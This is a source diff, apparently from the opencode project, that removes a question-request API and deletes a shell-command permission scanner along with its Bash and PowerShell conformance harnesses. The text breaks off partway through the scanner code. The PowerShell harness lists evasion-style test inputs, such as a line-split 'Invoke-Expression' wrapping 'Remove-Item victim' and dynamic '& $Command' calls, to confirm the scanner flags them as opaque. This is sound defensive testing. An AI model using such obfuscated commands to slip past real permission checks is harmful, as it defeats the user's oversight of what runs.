import { LocationQuery, locationQueryOpenApi } from "./location.js"
@@ -64,7 +64,11 @@ export const makePermissionGroup = <
params: { sessionID: Session.ID },
payload: Schema.Struct({
id: Permission.ID.pipe(Schema.optional),
...Struct.omit(Permission.Request.fields, ["id", "sessionID"]),
action: Permission.Request.fields.action,
resources: Permission.Request.fields.resources,
save: Permission.Request.fields.save,
metadata: Permission.Request.fields.metadata,
source: Permission.Request.fields.source,
agent: Agent.ID.pipe(Schema.optional),
}),
success: Schema.Struct({
-82
View File
@@ -1,82 +0,0 @@
import { Question } from "@opencode-ai/schema/question"
import { Location } from "@opencode-ai/schema/location"
import { Session } from "@opencode-ai/schema/session"
import { Context, Schema } from "effect"
import { HttpApiEndpoint, HttpApiGroup, HttpApiMiddleware, HttpApiSchema, OpenApi } from "effect/unstable/httpapi"
import { QuestionNotFoundError, SessionNotFoundError } from "../errors.js"
import { LocationQuery, locationQueryOpenApi } from "./location.js"
export const makeQuestionGroup = <
LocationId extends HttpApiMiddleware.AnyId,
LocationService,
SessionLocationId extends HttpApiMiddleware.AnyId,
SessionLocationService,
>(
locationMiddleware: Context.Key<LocationId, LocationService>,
sessionLocationMiddleware: Context.Key<SessionLocationId, SessionLocationService>,
) =>
HttpApiGroup.make("server.question")
.add(
HttpApiEndpoint.get("question.request.list", "/api/question/request", {
query: LocationQuery,
success: Location.response(Schema.Array(Question.Request)),
})
.annotateMerge(locationQueryOpenApi)
.annotateMerge(
OpenApi.annotations({
identifier: "v2.question.request.list",
summary: "List pending question requests",
description: "Retrieve pending question requests for a location.",
}),
),
)
.annotateMerge(OpenApi.annotations({ title: "question", description: "Experimental question routes." }))
// Effect applies group middleware only to endpoints already added; session endpoints use session placement below.
.middleware(locationMiddleware)
.add(
HttpApiEndpoint.get("session.question.list", "/api/session/:sessionID/question", {
params: { sessionID: Session.ID },
success: Schema.Struct({ data: Schema.Array(Question.Request) }),
error: SessionNotFoundError,
})
.middleware(sessionLocationMiddleware)
.annotateMerge(
OpenApi.annotations({
identifier: "v2.session.question.list",
summary: "List session question requests",
description: "Retrieve pending question requests owned by a session.",
}),
),
)
.add(
HttpApiEndpoint.post("session.question.reply", "/api/session/:sessionID/question/:requestID/reply", {
params: { sessionID: Session.ID, requestID: Question.ID },
payload: Question.Reply,
success: HttpApiSchema.NoContent,
error: [SessionNotFoundError, QuestionNotFoundError],
})
.middleware(sessionLocationMiddleware)
.annotateMerge(
OpenApi.annotations({
identifier: "v2.session.question.reply",
summary: "Reply to pending question request",
description: "Answer a pending question request owned by a session.",
}),
),
)
.add(
HttpApiEndpoint.post("session.question.reject", "/api/session/:sessionID/question/:requestID/reject", {
params: { sessionID: Session.ID, requestID: Question.ID },
success: HttpApiSchema.NoContent,
error: [SessionNotFoundError, QuestionNotFoundError],
})
.middleware(sessionLocationMiddleware)
.annotateMerge(
OpenApi.annotations({
identifier: "v2.session.question.reject",
summary: "Reject pending question request",
description: "Reject a pending question request owned by a session.",
}),
),
)
.annotateMerge(OpenApi.annotations({ title: "question", description: "Experimental session question routes." }))
-2
View File
@@ -21,7 +21,6 @@ import { Plugin } from "./plugin.js"
import { Project } from "./project.js"
import { Worktree } from "./worktree.js"
import { Pty } from "./pty.js"
import { Question } from "./question.js"
import { Reference } from "./reference.js"
import { ServerEvent } from "./server-event.js"
import { Shell } from "./shell.js"
@@ -56,7 +55,6 @@ const featureDefinitions = Event.inventory(
...Skill.Event.Definitions,
...Pty.Event.Definitions,
...Shell.Event.Definitions,
...Question.Event.Definitions,
...Form.Event.Definitions,
...WebSearch.Event.Definitions,
)
-1
View File
@@ -27,7 +27,6 @@ const RequestFields = {
action: Schema.String,
resources: Schema.Array(Schema.String),
save: Schema.Array(Schema.String).pipe(optional),
opaque: Schema.Boolean.pipe(optional),
metadata: Schema.Record(Schema.String, Schema.Unknown).pipe(optional),
source: Source.pipe(optional),
}
+2 -66
View File
@@ -2,28 +2,11 @@ export * as Question from "./question.js"
import { Schema } from "effect"
import { optional } from "./schema.js"
import { ephemeral, inventory } from "./event.js"
import { ascending } from "./identifier.js"
import { SessionID } from "./session-id.js"
import { statics } from "./schema.js"
export const ID = Schema.String.check(Schema.isStartsWith("que")).pipe(
Schema.brand("Question.ID"),
statics((schema) => {
const create = () => schema.make("que_" + ascending())
return {
create,
ascending: (id?: string) => (id === undefined ? create() : schema.make(id)),
}
}),
)
export type ID = typeof ID.Type
export const Option = Schema.Struct({
const Option = Schema.Struct({
label: Schema.String.annotate({ description: "Display text (1-5 words, concise)" }),
description: Schema.String.annotate({ description: "Explanation of choice" }),
}).annotate({ identifier: "Question.Option" })
export interface Option extends Schema.Schema.Type<typeof Option> {}
})
const base = {
question: Schema.String.annotate({ description: "Complete question" }),
@@ -32,55 +15,8 @@ const base = {
multiple: Schema.Boolean.pipe(optional).annotate({ description: "Allow selecting multiple choices" }),
}
export const Info = Schema.Struct({
...base,
custom: Schema.Boolean.pipe(optional).annotate({
description: "Allow typing a custom answer (default: true)",
}),
}).annotate({ identifier: "Question.Info" })
export interface Info extends Schema.Schema.Type<typeof Info> {}
export const Prompt = Schema.Struct(base).annotate({ identifier: "Question.Prompt" })
export interface Prompt extends Schema.Schema.Type<typeof Prompt> {}
export const Tool = Schema.Struct({
messageID: Schema.String,
id: Schema.String,
}).annotate({ identifier: "Question.Tool" })
export interface Tool extends Schema.Schema.Type<typeof Tool> {}
export const Request = Schema.Struct({
id: ID,
sessionID: SessionID,
questions: Schema.Array(Info).annotate({ description: "Questions to ask" }),
tool: Tool.pipe(optional),
}).annotate({ identifier: "Question.Request" })
export interface Request extends Schema.Schema.Type<typeof Request> {}
export const Answer = Schema.Array(Schema.String).annotate({ identifier: "Question.Answer" })
export type Answer = typeof Answer.Type
export const Reply = Schema.Struct({
answers: Schema.Array(Answer).annotate({
description: "User answers in order of questions (each answer is an array of selected labels)",
}),
}).annotate({ identifier: "Question.Reply" })
export interface Reply extends Schema.Schema.Type<typeof Reply> {}
const Asked = ephemeral({ type: "question.asked", schema: Request.fields })
const Replied = ephemeral({
type: "question.replied",
schema: {
sessionID: SessionID,
requestID: ID,
answers: Schema.Array(Answer),
},
})
const Rejected = ephemeral({
type: "question.rejected",
schema: {
sessionID: SessionID,
requestID: ID,
},
})
export const Event = { Asked, Replied, Rejected, Definitions: inventory(Asked, Replied, Rejected) }
@@ -8,7 +8,6 @@ import { Model } from "../src/model.js"
import { Project } from "../src/project.js"
import { Provider } from "../src/provider.js"
import { Pty } from "../src/pty.js"
import { Question } from "../src/question.js"
import { Session } from "../src/session.js"
import { SessionMessage } from "../src/session-message.js"
import { SessionInbox } from "../src/session-inbox.js"
@@ -132,7 +131,7 @@ describe("contract hygiene", () => {
})
test("current ID constructors expose create", () => {
expect(Question.ID.create()).toStartWith("que_")
expect(Form.ID.create()).toStartWith("frm_")
expect(Pty.ID.create()).toStartWith("pty_")
})
@@ -41,6 +41,9 @@ describe("public event manifest", () => {
expect(EventManifest.Server.get("session.created")).toBe(SessionEvent.Created)
expect(EventManifest.Server.get("session.deleted")).toBe(SessionEvent.Deleted)
expect(EventManifest.Server.has("mcp.tools.changed")).toBe(false)
expect(EventManifest.Server.has("question.asked")).toBe(false)
expect(EventManifest.Server.has("question.replied")).toBe(false)
expect(EventManifest.Server.has("question.rejected")).toBe(false)
expect(Agent.Event.Updated.durable).toBeUndefined()
expect(EventManifest.Durable.has("agent.updated")).toBe(false)
})
-2
View File
@@ -17,7 +17,6 @@ import { ServerHandler } from "./handlers/server"
import { DebugHandler } from "./handlers/debug"
import { PtyHandler } from "./handlers/pty"
import { ShellHandler } from "./handlers/shell"
import { QuestionHandler } from "./handlers/question"
import { ReferenceHandler } from "./handlers/reference"
import { LocationHandler } from "./handlers/location"
import { IntegrationHandler } from "./handlers/integration"
@@ -57,7 +56,6 @@ export const handlers = Layer.mergeAll(
EventHandler.pipe(Layer.provide(EventFeed.layer)),
PtyHandler,
ShellHandler,
QuestionHandler,
ReferenceHandler,
WorktreeHandler,
VcsHandler,
@@ -33,7 +33,6 @@ export const PermissionHandler = HttpApiBuilder.group(Api, "server.permission",
action: ctx.payload.action,
resources: ctx.payload.resources,
save: ctx.payload.save,
opaque: ctx.payload.opaque,
metadata: ctx.payload.metadata,
source: ctx.payload.source,
agent: ctx.payload.agent,
-64
View File
@@ -1,64 +0,0 @@
import { Question } from "@opencode-ai/core/question"
import { Effect } from "effect"
import { HttpApiBuilder, HttpApiSchema } from "effect/unstable/httpapi"
import { Api } from "../api"
import { QuestionNotFoundError } from "@opencode-ai/protocol/errors"
import { response } from "../location"
function missingRequest(id: Question.ID) {
return new QuestionNotFoundError({ requestID: id, message: `Question request not found: ${id}` })
}
export const QuestionHandler = HttpApiBuilder.group(Api, "server.question", (handlers) =>
Effect.gen(function* () {
const withOwnedQuestion = Effect.fnUntraced(function* <A, E>(
sessionID: Question.Request["sessionID"],
requestID: Question.ID,
use: (question: Question.Interface) => Effect.Effect<A, E>,
) {
const question = yield* Question.Service
const request = (yield* question.list()).find((request) => request.id === requestID)
if (!request || request.sessionID !== sessionID) return yield* missingRequest(requestID)
return yield* use(question)
})
return handlers
.handle(
"question.request.list",
Effect.fn(function* () {
const question = yield* Question.Service
return yield* response(question.list())
}),
)
.handle(
"session.question.list",
Effect.fn(function* (ctx) {
const question = yield* Question.Service
const requests = yield* question.list()
return { data: requests.filter((request) => request.sessionID === ctx.params.sessionID) }
}),
)
.handle(
"session.question.reply",
Effect.fn(function* (ctx) {
yield* withOwnedQuestion(ctx.params.sessionID, ctx.params.requestID, (question) =>
question
.reply({ requestID: ctx.params.requestID, answers: ctx.payload.answers })
.pipe(Effect.catchTag("Question.NotFoundError", () => missingRequest(ctx.params.requestID))),
)
return HttpApiSchema.NoContent.make()
}),
)
.handle(
"session.question.reject",
Effect.fn(function* (ctx) {
yield* withOwnedQuestion(ctx.params.sessionID, ctx.params.requestID, (question) =>
question
.reject(ctx.params.requestID)
.pipe(Effect.catchTag("Question.NotFoundError", () => missingRequest(ctx.params.requestID))),
)
return HttpApiSchema.NoContent.make()
}),
)
}),
)
@@ -5,11 +5,11 @@ describe("inlineCodeKind", () => {
test("leaves code expressions as normal inline code", () => {
expect(
inlineCodeKind(
`case "question.asked": ... input.setStore("question", question.sessionID, [question]) / splice/insert`,
`case "form.created": ... input.setStore("form", form.sessionID, [form]) / splice/insert`,
),
).toBeUndefined()
expect(inlineCodeKind(`<SessionQuestionDock request={request} ... />`)).toBeUndefined()
expect(inlineCodeKind(`from sync.data.question + sync.data.session.`)).toBeUndefined()
expect(inlineCodeKind(`from sync.data.form + sync.data.session.`)).toBeUndefined()
expect(inlineCodeKind(`@opencode-ai/app <StatusPopover />)`)).toBeUndefined()
expect(inlineCodeKind(`sync.data.session`)).toBeUndefined()
expect(inlineCodeKind(`window.api`)).toBeUndefined()
-21
View File
@@ -1,21 +0,0 @@
{
"$schema": "https://json.schemastore.org/package.json",
"name": "@opencode-ai/shell-scan",
"version": "0.0.0",
"private": true,
"type": "module",
"exports": {
".": "./src/index.ts"
},
"scripts": {
"research:execution": "bun run research/execution-oracle.ts",
"research:powershell": "bun run research/powershell-conformance.ts",
"test": "bun test --only-failures",
"typecheck": "tsgo --noEmit"
},
"devDependencies": {
"@tsconfig/bun": "catalog:",
"@types/bun": "catalog:",
"@typescript/native-preview": "catalog:"
}
}
-41
View File
@@ -1,41 +0,0 @@
# Shell Permission Scanner Research
## Goal
Produce reusable permission resources only when every shell-language command position in supported Bash and PowerShell subsets is statically identified. Unsupported or malformed shell syntax must be opaque.
This scanner does not interpret command-specific argument languages. Source files, callbacks, plugins, package scripts, remote commands, and other executable behavior delegated through an allowed program remain part of that program's permission boundary.
## Conformance
```sh
bun run research:execution
PWSH=/path/to/pwsh bun run research:powershell
```
The execution oracle runs generated programs against isolated fake executables under Bash and zsh, validating shell syntax and comparing actual dispatches with scanner command heads. The PowerShell oracle uses the official `System.Management.Automation.Language.Parser` through a development-only `pwsh` subprocess. Neither oracle is a runtime dependency.
## Supported subset
- Static command names and arguments
- Single and double quotes
- Backslash escapes and line continuation
- `&&`, `||`, `;`, newline, `|`, and `|&`
- Static assignment prefixes
- Simple redirects
- Comments
- Recursive Bash `$()` and backtick command substitutions when every nested command is supported
## Opaque subset
- Bash process substitution and arithmetic expansion
- PowerShell subexpressions, arrays, scriptblocks, and here strings
- Heredocs and here strings
- Dynamic command names
- Shell evaluators and command wrappers
- Commands that consume source, callbacks, scripts, or mutate command resolution
- Context-dependent directory changes that cannot be resolved before execution
- Compound and background commands
- Malformed syntax
The TUI's independent tree-sitter grammar remains for syntax highlighting. Core has no tree-sitter runtime dependency.
@@ -1,320 +0,0 @@
import { chmodSync, mkdtempSync, mkdirSync, rmSync, symlinkSync } from "node:fs"
import { tmpdir } from "node:os"
import { join } from "node:path"
import { ShellScan } from "../src/index.js"
const shells = [
{ name: "bash", path: "/opt/homebrew/bin/bash", args: ["--noprofile", "--norc"], strict: true },
{ name: "bash-system", path: "/bin/bash", args: ["--noprofile", "--norc"], strict: false },
{ name: "zsh", path: "/bin/zsh", args: ["-f"], strict: true },
] as const
const commands = ["oracle_alpha", "oracle_beta", "oracle_gamma", "oracle_fail"] as const
const successes = commands.slice(0, 3)
const cases = new Map<string, Set<string>>()
function add(category: string, source: string) {
const categories = cases.get(source) ?? new Set<string>()
categories.add(category)
cases.set(source, categories)
}
const arguments_ = [
"",
" plain",
" 'single ; | && # $(oracle_gamma)'",
' "double ; | && #"',
" escaped\\;separator",
" hash#inside",
" 'two words' tail",
' "dollar $HOME"',
" backslash\\ space",
] as const
const assignments = ["", "X=plain ", "X='two words' ", 'X="two words" '] as const
const redirects = ["", " > output", " 2> error", " < empty"] as const
for (const command of commands) {
for (const assignment of assignments) {
for (const argument of arguments_) {
for (const redirect of redirects) add("simple", assignment + command + argument + redirect)
}
}
}
const separators = [" ; ", " && ", " || ", " | ", " |& ", "\n"] as const
for (const left of commands) {
for (const separator of separators) {
for (const right of successes) add("separator", left + separator + right + " final")
}
}
const substitutions = [
(outer: string, inner: string) => `${outer} $(${inner})`,
(outer: string, inner: string) => `${outer} "$(${inner})"`,
(outer: string, inner: string) => `${outer} pre$(${inner})post`,
(outer: string, inner: string) => `X=$(${inner}) ${outer}`,
(outer: string, inner: string) => `${outer} >$(${inner})`,
(outer: string, inner: string) => `${outer} \`${inner}\``,
(outer: string, inner: string) => `${outer} "$(${inner} "$(oracle_gamma)")"`,
(outer: string, inner: string) => `${outer} "$(${inner} one; oracle_gamma two)"`,
] as const
for (const outer of successes) {
for (const inner of commands) {
for (const substitution of substitutions) add("substitution", substitution(outer, inner))
}
}
for (const command of successes) {
add("comment", `${command} before # oracle_fail ignored\noracle_beta after`)
add("comment", `# ${command} ignored\noracle_beta after`)
add("comment", `${command} hash#word # oracle_fail ignored`)
add("continuation", `${command} before\\\nafter`)
add("continuation", `${command} before \\\n after ; oracle_beta`)
add("quote", `'${command}' quoted-head`)
add("quote", `"${command}" quoted-head`)
add("quote", `${command.slice(0, 7)}\\${command.slice(7)} escaped-head`)
}
add("conditional", "oracle_fail || oracle_alpha recovered")
add("conditional", "oracle_fail && oracle_alpha unreachable")
add("conditional", "oracle_alpha || oracle_fail unreachable")
add("conditional", "oracle_alpha && oracle_beta reached")
add("dynamic", "NAME=oracle_alpha; $NAME dynamic-head")
add("dynamic", "oracle_alpha $(NAME=oracle_beta; $NAME nested-dynamic)")
add("literal", "oracle_alpha '$(oracle_fail)' 'literal ` text'")
let randomState = 0x5eed1234
const random = (length: number) => {
randomState = (Math.imul(randomState, 1664525) + 1013904223) >>> 0
return randomState % length
}
const atoms = [
...commands,
...successes.map((command) => `${command} plain`),
...successes.map((command) => `${command} 'literal ; | #'`),
...successes.map((command) => `${command} \"literal ; | #\"`),
...successes.map((command) => `X=value ${command}`),
] as const
for (let iteration = 0; iteration < 2_500; iteration++) {
const left = `${atoms[random(atoms.length)]} fuzz${iteration}`
const right = `${atoms[random(atoms.length)]} fuzz${iteration}`
const nested = successes[random(successes.length)]
const forms = [
`${left}${separators[random(separators.length)]}${right}`,
`${left} $(${right})`,
`${left} \"$(${right})\"`,
`${left} pre$(${right})post`,
`X=$(${right}) ${left}`,
`${left} $(${right}; ${nested})`,
`${left} before # ignored\n${right}`,
`${left} before\\\nafter; ${right}`,
]
add("deterministic-random", forms[iteration % forms.length])
}
const executionCases = [...cases].map(([source, categories], caseIndex) => {
let occurrence = 0
const names: string[] = []
const unique = source.replace(/\boracle_(\\?)(?:alpha|beta|gamma|fail)\b/g, (_, escaped: string) => {
const name = `oracle_${caseIndex}_${occurrence++}`
names.push(name)
if (!escaped) return name
return name.slice(0, -1) + "\\" + name.at(-1)
})
return { source: unique, categories, names }
})
const root = mkdtempSync(join(tmpdir(), "shell-scan-execution-oracle-"))
const bin = join(root, "bin")
const work = join(root, "work")
const log = join(root, "dispatch.log")
mkdirSync(bin)
mkdirSync(work)
await Bun.write(join(work, "empty"), "")
await Bun.write(
join(bin, "oracle-command"),
`#!/bin/sh
name=\${0##*/}
printf '%s\\n' "$name" >> "$ORACLE_LOG"
printf '%s\\n' "$name"
[ "$ORACLE_MODE" = failure ] && exit 1
`,
)
chmodSync(join(bin, "oracle-command"), 0o755)
for (const name of executionCases.flatMap((item) => item.names)) symlinkSync("oracle-command", join(bin, name))
type Finding = {
shell: string
categories: string[]
source: string
dispatched: string[]
scanned: string[]
missing: string[]
status: number
stderr: string
reason: "dispatch" | "parse"
}
const findings: Finding[] = []
const metrics = Object.fromEntries(
shells.map((shell) => [shell.name, { executed: 0, parsed: 0, scanned: 0, opaque: 0, dispatches: 0, violations: 0 }]),
)
const coverage = Object.fromEntries(
shells.flatMap((shell) =>
[...new Set(executionCases.flatMap((item) => [...item.categories]))].map((category) => [
`${shell.name}:${category}`,
{ scanned: 0, dispatches: 0 },
]),
),
)
const versions = Object.fromEntries(
shells.map((shell) => {
const version = Bun.spawnSync([shell.path, "--version"], { stdout: "pipe", stderr: "pipe" })
return [shell.name, (version.stdout.toString() || version.stderr.toString()).split("\n")[0]?.trim()]
}),
)
try {
for (const shell of shells) {
for (const { source, categories } of executionCases) {
const result = ShellScan.scan(source)
const metric = metrics[shell.name]
metric.executed++
const parsed = Bun.spawnSync([shell.path, ...shell.args, "-n", "-c", source], {
cwd: work,
env: { HOME: root, PATH: bin, ZDOTDIR: root },
stdin: "ignore",
stdout: "ignore",
stderr: "pipe",
})
if (parsed.exitCode === 0) metric.parsed++
if (result.kind === "scanned" && parsed.exitCode !== 0 && shell.strict) {
metric.violations++
findings.push({
shell: shell.name,
categories: [...categories],
source,
dispatched: [],
scanned: result.commands.map((command) => command.words[0] ?? ""),
missing: [],
status: parsed.exitCode,
stderr: parsed.stderr.toString().trim(),
reason: "parse",
})
continue
}
if (parsed.exitCode !== 0) continue
if (result.kind === "opaque") {
metric.opaque++
continue
}
metric.scanned++
const dispatched = new Set<string>()
let status = 0
let stderr = ""
for (const mode of ["success", "failure"]) {
await Bun.write(log, "")
const execution = Bun.spawnSync([shell.path, ...shell.args, "-c", source], {
cwd: work,
env: { HOME: root, PATH: bin, ORACLE_LOG: log, ORACLE_MODE: mode, ZDOTDIR: root },
stdin: "ignore",
stdout: "ignore",
stderr: "pipe",
})
status = execution.exitCode
stderr = execution.stderr.toString().trim()
if (execution.exitCode === 127 || /command not found|not found/i.test(execution.stderr.toString())) {
metric.violations++
findings.push({
shell: shell.name,
categories: [...categories],
source,
dispatched: [...dispatched],
scanned: result.commands.map((command) => command.words[0] ?? ""),
missing: [],
status: execution.exitCode,
stderr: execution.stderr.toString().trim(),
reason: "dispatch",
})
}
for (const name of (await Bun.file(log).text()).split("\n").filter(Boolean)) dispatched.add(name)
}
metric.dispatches += dispatched.size
for (const category of categories) {
coverage[`${shell.name}:${category}`].scanned++
coverage[`${shell.name}:${category}`].dispatches += dispatched.size
}
const remaining = new Set(result.commands.map((command) => command.words[0] ?? ""))
const missing = [...dispatched].filter((name) => {
return !remaining.has(name)
})
if (!missing.length) continue
metric.violations++
findings.push({
shell: shell.name,
categories: [...categories],
source,
dispatched: [...dispatched],
scanned: result.commands.map((command) => command.words[0] ?? ""),
missing,
status,
stderr,
reason: "dispatch",
})
}
}
} finally {
rmSync(root, { recursive: true, force: true })
}
for (const shell of shells) {
const metric = metrics[shell.name]
if (metric.scanned < 2_000 || metric.dispatches < 4_000) {
throw new Error(
`${shell.name} coverage fell below floor: ${metric.scanned} scanned, ${metric.dispatches} dispatches`,
)
}
for (const category of [
"simple",
"separator",
"substitution",
"comment",
"continuation",
"conditional",
"literal",
"deterministic-random",
]) {
const item = coverage[`${shell.name}:${category}`]
if (!item || item.scanned === 0 || item.dispatches === 0)
throw new Error(`${shell.name}:${category} has no scanned dispatch coverage`)
}
}
console.log(
JSON.stringify(
{
schema: 1,
invariant: "For scanned results, every uniquely named fake-executable dispatch appears in scanned command heads.",
generated: executionCases.length,
categories: Object.fromEntries(
[...new Set([...cases.values()].flatMap((categories) => [...categories]))].map((category) => [
category,
[...cases.values()].filter((categories) => categories.has(category)).length,
]),
),
shells: shells.map((shell) => ({
name: shell.name,
path: shell.path,
version: versions[shell.name],
strictSyntax: shell.strict,
metrics: metrics[shell.name],
})),
coverage,
findings,
},
null,
2,
),
)
if (findings.length) process.exitCode = 1
@@ -1,155 +0,0 @@
import { ShellScan } from "../src/index.js"
const pwsh = process.env.PWSH ?? Bun.which("pwsh")
if (!pwsh) {
console.error("Set PWSH to a PowerShell executable")
process.exit(2)
}
const versionProcess = Bun.spawnSync(
[pwsh, "-NoProfile", "-NonInteractive", "-Command", "$PSVersionTable.PSVersion.Major"],
{ stdout: "pipe", stderr: "pipe" },
)
const oracleMajor = Number(versionProcess.stdout.toString().trim())
if (versionProcess.exitCode !== 0 || !Number.isInteger(oracleMajor) || oracleMajor < 5)
throw new Error(`PowerShell 5 or newer required: ${versionProcess.stderr.toString().trim()}`)
const commands = ["Get-ChildItem", "Write-Output", "Remove-Item", "Test-Path"] as const
const arguments_ = ["", " value", " 'single ; | # text'", ' "double ; | # text"', " foo`;bar"] as const
const separators = [";", "|", ...(oracleMajor >= 7 ? ["&&", "||"] : []), "\n", "\r", "\r\n"] as const
const sources = new Set<string>()
for (const command of commands) {
for (const argument of arguments_) sources.add(command + argument)
}
for (const left of commands) {
for (const separator of separators) {
for (const right of commands) sources.add(`${left} left${separator}${right} right`)
}
}
for (const command of commands) {
sources.add(`# comment\n${command}`)
sources.add(`# comment\r${command}`)
sources.add(`# comment\r\n${command}`)
sources.add(`${command} before # ignored\nWrite-Output after`)
sources.add(`${command} before # ignored\rWrite-Output after`)
sources.add(`${command} before # ignored\r\nWrite-Output after`)
sources.add(`${command} one > output.txt`)
sources.add(`${command} one 2>&1`)
sources.add(`${command} one\n\nWrite-Output two`)
}
const unsupported = [
"$Command value",
"& $Command value",
'Write-Output "$(Get-ChildItem)"',
"return Remove-Item victim",
"throw Get-ChildItem",
"[string]$x = Remove-Item victim",
"Invoke-`\nExpression 'Remove-Item victim'",
"<# comment #> Remove-Item victim",
"#Requires -Modules Evil\nWrite-Output ok",
] as const
for (const source of unsupported) sources.add(source)
const malformed = ['Write-Output "unterminated', "Get-ChildItem |", "Write-Output ok`", "Get-ChildItem &&"] as const
for (const source of malformed) sources.add(source)
let randomState = 0x50a7e11
const random = (length: number) => {
randomState = (Math.imul(randomState, 1664525) + 1013904223) >>> 0
return randomState % length
}
for (let iteration = 0; iteration < 2_500; iteration++) {
const left = commands[random(commands.length)]
const right = commands[random(commands.length)]
const separator = separators[random(separators.length)]
const argument = arguments_[random(arguments_.length)]
const forms = [
`${left} fuzz${iteration}${separator}${right}${argument}`,
`${left.toLowerCase()} fuzz${iteration}${separator}${right.toUpperCase()}${argument}`,
`${left} fuzz${iteration} > output${iteration}; ${right}${argument}`,
`${left} fuzz${iteration} # ignored\n${right}${argument}`,
`${left} fuzz${iteration} # ignored\r${right}${argument}`,
`${left} fuzz${iteration} # ignored\r\n${right}${argument}`,
`${left}\`\n fuzz${iteration}; ${right}${argument}`,
`Microsoft.PowerShell.Management\\${left} fuzz${iteration}; ${right}${argument}`,
]
sources.add(forms[random(forms.length)])
}
const process_ = Bun.spawnSync([pwsh, "-NoProfile", "-NonInteractive", "-File", "research/powershell-oracle.ps1"], {
cwd: import.meta.dir + "/..",
stdin: new TextEncoder().encode(JSON.stringify([...sources])),
stdout: "pipe",
stderr: "pipe",
})
if (process_.exitCode !== 0) {
console.error(process_.stderr.toString())
process.exit(process_.exitCode)
}
const oracle = JSON.parse(process_.stdout.toString()) as {
version: string
results: Array<{
source: string
commands: Array<{ name: string | null; text: string; start: number; end: number }>
errors: string[]
}>
}
const version = Number(oracle.version.split(".")[0])
if (version !== oracleMajor)
throw new Error(`PowerShell version changed during oracle run: ${oracleMajor} to ${oracle.version}`)
const returned = new Set(oracle.results.map((result) => result.source))
if (
oracle.results.length !== sources.size ||
returned.size !== sources.size ||
[...sources].some((source) => !returned.has(source))
)
throw new Error(`PowerShell oracle returned ${oracle.results.length} results for ${sources.size} unique sources`)
const evaluated = oracle.results.map((item) => ({ item, scanned: ShellScan.scanPowerShell(item.source) }))
const findings = evaluated.flatMap(({ item, scanned }) => {
if (unsupported.includes(item.source as (typeof unsupported)[number]) && scanned.kind !== "opaque")
return [{ source: item.source, reason: "unsupported-scanned", expected: [], actual: [], missing: [] }]
if (item.errors.length > 0)
return scanned.kind === "opaque"
? []
: [{ source: item.source, reason: "malformed-scanned", expected: [], actual: [], missing: item.errors }]
if (scanned.kind === "opaque") return []
if (item.commands.some((command) => command.name === null))
return [{ source: item.source, reason: "dynamic-head-scanned", expected: [], actual: [], missing: [] }]
const expected = item.commands.map((command) => normalize(command.name ?? ""))
const actual = scanned.commands.map((command) => normalize(command.words[0] ?? ""))
let index = 0
const missing = expected.filter((name) => {
while (index < actual.length && actual[index] !== name) index++
if (index >= actual.length) return true
index++
return false
})
const invalidExtent = item.commands.find((command) => item.source.slice(command.start, command.end) !== command.text)
if (invalidExtent)
return [{ source: item.source, reason: "invalid-extent", expected, actual, missing: [invalidExtent.text] }]
return missing.length > 0 ? [{ source: item.source, reason: "missing-command", expected, actual, missing }] : []
})
const scannedCount = evaluated.filter(({ scanned }) => scanned.kind === "scanned").length
if (scannedCount < 1_900) throw new Error(`PowerShell scanned coverage fell below floor: ${scannedCount}`)
console.log(
JSON.stringify(
{
schema: 1,
powershell: oracle.version,
generated: sources.size,
parsed: oracle.results.filter((result) => result.errors.length === 0).length,
scanned: scannedCount,
violations: findings.length,
findings,
},
null,
2,
),
)
if (findings.length > 0) process.exitCode = 1
function normalize(name: string) {
return name.replace(/`?[\r\n]+/g, "").toLowerCase()
}
@@ -1,29 +0,0 @@
$ErrorActionPreference = "Stop"
$sources = [Console]::In.ReadToEnd() | ConvertFrom-Json
$results = foreach ($source in $sources) {
$tokens = $null
$errors = $null
$ast = [System.Management.Automation.Language.Parser]::ParseInput($source, [ref] $tokens, [ref] $errors)
$commands = $ast.FindAll(
{ param($node) $node -is [System.Management.Automation.Language.CommandAst] },
$true
) | ForEach-Object {
[pscustomobject]@{
name = $_.GetCommandName()
text = $_.Extent.Text
start = $_.Extent.StartOffset
end = $_.Extent.EndOffset
}
}
[pscustomobject]@{
source = $source
commands = @($commands)
errors = @($errors | ForEach-Object { $_.Message })
}
}
[pscustomobject]@{
version = $PSVersionTable.PSVersion.ToString()
results = @($results)
} | ConvertTo-Json -Depth 6 -Compress
-703
View File
@@ -1,703 +0,0 @@
export * as ShellScan from "./index.js"
export type OpaqueReason =
| "command-substitution"
| "compound-command"
| "command-wrapper"
| "dynamic-command-name"
| "dynamic-directory"
| "dynamic-execution"
| "heredoc"
| "invalid-redirect"
| "invalid-structure"
| "shell-evaluation"
| "unterminated-escape"
| "unterminated-quote"
export type Result =
| { kind: "scanned"; commands: Array<{ resource: string; words: string[] }> }
| { kind: "opaque"; reason: OpaqueReason }
const BASH_COMPOUND_KEYWORDS = new Set([
"if",
"then",
"elif",
"else",
"fi",
"for",
"while",
"until",
"case",
"select",
"function",
"do",
"done",
"coproc",
])
const POWERSHELL_LOCATIONS = new Set(["set-location", "cd", "chdir", "sl", "push-location"])
const POWERSHELL_ALIASES: Record<string, string> = {
"%": "foreach-object",
"?": "where-object",
ac: "add-content",
asnp: "add-pssnapin",
cli: "clear-item",
clc: "clear-content",
copy: "copy-item",
cp: "copy-item",
cpi: "copy-item",
del: "remove-item",
erase: "remove-item",
etsn: "enter-pssession",
foreach: "foreach-object",
icm: "invoke-command",
ihy: "invoke-history",
ii: "invoke-item",
ipal: "import-alias",
ipmo: "import-module",
ipsn: "import-pssession",
mi: "move-item",
move: "move-item",
mv: "move-item",
nal: "new-alias",
ni: "new-item",
nmo: "new-module",
r: "invoke-history",
rd: "remove-item",
ren: "rename-item",
ri: "remove-item",
rm: "remove-item",
rmdir: "remove-item",
rni: "rename-item",
rmo: "remove-module",
rsnp: "remove-pssnapin",
sajb: "start-job",
sal: "set-alias",
saps: "start-process",
sbp: "set-psbreakpoint",
sc: "set-content",
si: "set-item",
start: "start-process",
pushd: "push-location",
trcm: "trace-command",
where: "where-object",
}
const MAX_BASH_INPUT_LENGTH = 64 * 1024
const MAX_SUBSTITUTION_DEPTH = 32
export function scan(input: string): Result {
return scanBash(input, 0)
}
function scanBash(input: string, depth: number): Result {
if (input.length > MAX_BASH_INPUT_LENGTH) return { kind: "opaque", reason: "invalid-structure" }
const group = bashLeadingGroup(input)
if (group) {
if (depth >= MAX_SUBSTITUTION_DEPTH) return { kind: "opaque", reason: "invalid-structure" }
const nested = scanBash(group.source, depth + 1)
if (nested.kind === "opaque") return nested
const suffix = input.slice(group.end + 1).trim()
